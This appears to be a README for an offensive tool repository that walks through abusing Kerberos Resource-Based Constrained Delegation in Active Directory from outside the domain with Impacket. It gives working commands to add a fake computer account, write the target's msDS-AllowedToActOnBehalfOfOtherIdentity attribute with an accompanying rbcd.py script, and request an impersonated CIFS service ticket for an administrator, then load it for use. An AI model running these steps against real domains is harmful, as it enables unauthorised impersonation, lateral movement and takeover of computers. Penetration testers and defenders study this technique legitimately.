Abusing Kerberos Resource-Based Constrained Delegation

TL;DR

This repo is about a practical attack against Kerberos Resource-Based Constrained Delegation in a Windows Active Directory Domain.

The difference from other common implementations is that we are launching the attack from outside of the Windows Domain, not from a domain joined (usually Windows) computer.

The attack is implemented using only Python3 Impacket (and its dependencies). Tested on Arch with up-to-date Impacket (0.9.21 as of writing).

The Attack

In summary, without any deep details, the attack targets a domain computer, exactly service principals related to the target domain computer.

What we need here as prerequisites:

• a domain account with write access to the target computer (exactly write access to the

  msDS-AllowedToActOnBehalfOfOtherIdentity

  property of the target computer domain object)
• permission to create new computer accounts (this is usually default, see

  MachineAccountQuota

  )
• LDAP (389/tcp) and SAMR (445/tcp) (or LDAPS (636/tcp)) access to the DC.
• Kerberos (88/tcp) access to the DC

The attack path in very high level:

1. Create a fake computer
2. Abuse

   msDS-AllowedToActOnBehalfOfOtherIdentity

   property of the target
3. Request impersonated Service Tickets (S4U) for the target computer

Benefit:

• Impersonated Service Tickets may allow high-level access to services on the target like CIFS, HTTP, etc, if the impersonated account has privileges. Sometimes takeover of the computer.

Common toolsets

The common toolsets for this attack operate on a domain-joined Windows Computer using:

• Powermad for adding new computer accounts
• Powerview from PowerSploit dev branch for

  abusing msDS-AllowedToActOnBehalfOfOtherIdentity

• Rubeus for S4U ticket operations

Impacket implementation

This implementation uses pure Impacket from outside the Domain.

Creating the fake computer

Using addcomputer.py example from Impacket let's create a fake computer (called

evilcomputer

addcomputer.py -computer-name 'evilcomputer$' -computer-pass [email protected] -dc-ip 192.168.33.203 ecorp.local/test:ohW9Lie0

Modifying delegation rights

Implemented the script rbcd.py found here in the repo which adds the related security descriptor of the newly created EVILCOMPUTER to the

msDS-AllowedToActOnBehalfOfOtherIdentity

./rbcd.py -f EVILCOMPUTER -t WEB -dc-ip 192.168.33.203 ecorp\\test:ohW9Lie0

The script uses heavily the Python classes in the

ntlmrelayx.py

Getting the impersonated service ticket

Now everything is ready for abusing the Constrained Delegation by an S4U2Self query and get an impersonated Service Ticket for the target computer. With

getST.py

getST.py -spn cifs/WEB.ecorp.local -impersonate admin -dc-ip 192.168.33.203 ecorp.local/EVILCOMPUTER$:[email protected]

The above command fetches a CIFS Service Ticket on behalf of the targetted domain user

admin

admin.ccache

After adding the file path to the KRB5CCNAME variable the ticket is usable for Kerberos clients.

export KRB5CCNAME=`pwd`/admin.ccache
klist

References

For details about abusing Resource-Based Constrained Delegation:

• https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
• https://www.harmj0y.net/blog/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/
• http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/

And one of the most comprehensive presentations about Kerberos Attacks:

• Constructing Kerberos Attacks with Delegation Primitives slides at Defcon by Elad Shamir and Matt Bush